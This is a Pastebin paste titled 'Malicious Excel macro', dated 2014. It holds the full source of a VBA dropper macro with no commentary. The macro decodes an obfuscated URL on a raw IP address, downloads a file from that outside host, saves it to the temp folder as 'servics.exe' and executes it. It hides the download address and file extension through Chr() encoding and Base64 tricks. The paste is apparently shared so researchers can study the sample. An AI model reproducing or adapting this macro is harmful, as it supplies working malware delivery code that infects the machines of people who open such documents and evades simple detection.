SHARE
TWEET

Malicious Excel macro

dynamoo Dec 23rd, 2014 574 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Sub parent()
  2. Dim WshShell
  3. Set WshShell = CreateObject("WScript.Shell")
  4. PathToSave = "%TEMP%"
  5. PathToSave = WshShell.ExpandEnvironmentStrings(PathToSave)
  6. Set s = CreateObject("ADODB.Stream")
  7.     strFileURL = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(56) & Chr(53) & Chr(46) & Chr(52) & Chr(56) & Chr(46) & Chr(53) & Chr(54) & Chr(46) & Chr(49) & Chr(51) & Chr(51) & Chr(58) & Chr(56) & Chr(48) & Chr(56) & Chr(48) & Chr(47) & Chr(115) & Chr(115) & Chr(116) & Chr(97) & Chr(116) & Chr(47) & Chr(108) & Chr(108) & Chr(100) & Chr(118) & Chr(115) & Chr(46) & Chr(112) & Chr(104) & Chr(112)
  8.  
  9.     strHDLocation = PathToSave & "servics." & Chr(101) & Chr(120) & Chr(101)
  10.  
  11.  k = janu(strFileURL,strHDLocation)
  12.  Set fso = CreateObject("Scripting.FileSystemObject")
  13.  
  14. If (fso.FileExists(strHDLocation)) Then
  15.   CreateObject("WScript.Shell").run PathToSave & "servics." & Base64Decode("ZQ==") & Base64Decode("eA==") & "e"
  16. End If
  17. Set fso = Nothing
  18. End sub
  19.  
  20.  Function Base64Decode(ByVal base64String)
  21.  
  22.   Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  23.   Dim dataLength, sOut, groupBegin
  24.  
  25.  
  26.   base64String = Replace(base64String, vbCrLf, "")
  27.   base64String = Replace(base64String, vbTab, "")
  28.   base64String = Replace(base64String, " ", "")
  29.  
  30.   dataLength = Len(base64String)
  31.   If dataLength Mod 4 <> 0 Then
  32.     Err.Raise 1, "Base64Decode", "Bad Base64 string."
  33.     Exit Function
  34.   End If
  35.  
  36.   For groupBegin = 1 To dataLength Step 4
  37.     Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  38.     numDataBytes = 3
  39.     nGroup = 0
  40.  
  41.     For CharCounter = 0 To 3
  42.       thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  43.  
  44.       If thisChar = "=" Then
  45.         numDataBytes = numDataBytes - 1
  46.         thisData = 0
  47.       Else
  48.         thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
  49.       End If
  50.       If thisData = -1 Then
  51.         Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
  52.         Exit Function
  53.       End If
  54.  
  55.       nGroup = 64 * nGroup + thisData
  56.     Next
  57.    
  58.  
  59.     nGroup = Hex(nGroup)
  60.    
  61.     nGroup = String(6 - Len(nGroup), "0") & nGroup
  62.    
  63.     pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
  64.       Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
  65.       Chr(CByte("&H" & Mid(nGroup, 5, 2)))
  66.    
  67.  
  68.     sOut = sOut & Left(pOut, numDataBytes)
  69.   Next
  70.  
  71.   Base64Decode = sOut
  72. End Function
  73.  
  74.    function janu(strFileURL,strHDLocation)
  75.    Set walabapoi = CreateObject("MsXmL2.xMLhTtP")
  76.  
  77.     walabapoi.open "GET", strFileURL, false
  78.     walabapoi.send()
  79.  
  80.     If walabapoi.Status = 200 Then
  81.       Set Newujapi = CreateObject("AdOdB.sTrEam")
  82.       Newujapi.Open
  83.       Newujapi.Type = 1
  84.  
  85.       Newujapi.Write walabapoi.ResponseBody
  86.       Newujapi.Position = 0    
  87.  
  88.       Newujapi.SaveToFile strHDLocation, 2
  89.       Newujapi.Close
  90.       Set Newujapi = Nothing
  91.     End if
  92.  
  93.     Set walabapoi = Nothing
  94.  
  95.  end function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top